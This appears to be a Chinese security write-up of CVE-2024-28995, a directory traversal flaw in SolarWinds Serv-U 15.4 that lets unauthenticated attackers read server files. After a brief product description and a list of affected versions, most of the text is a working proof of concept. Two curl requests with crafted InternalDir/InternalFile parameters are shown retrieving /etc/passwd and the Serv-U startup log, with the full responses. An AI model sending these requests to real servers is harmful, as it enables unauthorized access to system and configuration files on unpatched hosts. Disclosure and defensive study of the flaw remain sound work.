0x00 前言
SolarWinds Serv-U FTP Server是美国SolarWinds公司的一套FTP和MFT文件传输软件。
ServU FTP Server官方版是专为中小型企业设计的安全文件传输解决方案。ServU文件服务器支持多种协议，包括FTP、FTPS、SFTP、HTTP和HTTPS，在IPv4和IPv6网络上实现可靠的文件传输。其移动设备友好的界面使用户能够通过iOS和Android设备进行文件传输，并利用SSL/TLS协议加密文件，确保传输过程安全可靠。
总体而言，Serv-U为用户提供了灵活、安全且高效的文件传输平台，轻松管理文件传输的各个方面。
0x01 漏洞描述
Serv-U文件传输服务器存在严重的目录遍历漏洞，允许未经身份验证的攻击者读取服务器上的敏感文件。
0x02 CVE编号
CVE-2024-28995
0x03 影响版本
Serv-U FTP Server 15.4
Serv-U Gateway 15.4
Serv-U MFT Server 15.4
0x04 漏洞详情
POC：
代码语言：javascript复制curl -i -k --path-as-is https://192.168.86.43/?InternalDir=........etc^&InternalFile=passwd
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 14:55:28 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Last-Modified: Tue, 16 Jan 2024 10:58:11 GMT
Expires: -1
Cache-Control: must-revalidate, private
Content-Length: 3017
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologincurl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 13:46:06 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: text/plain
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/; httponly
Content-Length: 2119
[01] Tue 11Jun24 01:28:15 - Serv-U File Server:{B30A1319-9C51-8241-728C-F6FCD0C1BFD2} (64-bit) - Version 15.4 (15.4.2.126) - (C) 2024 SolarWinds Worldwide, LLC. All rights reserved.
[01] Tue 11Jun24 01:28:15 - Build Date: Thursday 21 March 2024 09:33
[01] Tue 11Jun24 01:28:15 - Operating System: Windows Server 2012 64-bit; Version: 6.2.9200
[01] Tue 11Jun24 01:28:15 - Loaded graphics library.
[01] Tue 11Jun24 01:28:15 - Loaded ODBC database library.
[01] Tue 11Jun24 01:28:15 - Loaded SSL/TLS libraries.
[01] Tue 11Jun24 01:28:15 - Loaded SQLite library.
[01] Tue 11Jun24 01:28:15 - FIPS 140-2 mode is OFF.
[01] Tue 11Jun24 01:28:15 - Valid Server Identity found
[01] Tue 11Jun24 01:28:15 - WinSock Version 2.2 initialized.
[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP 127.0.0.1
[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP ::1
[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)0x05 参考链接
https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28995
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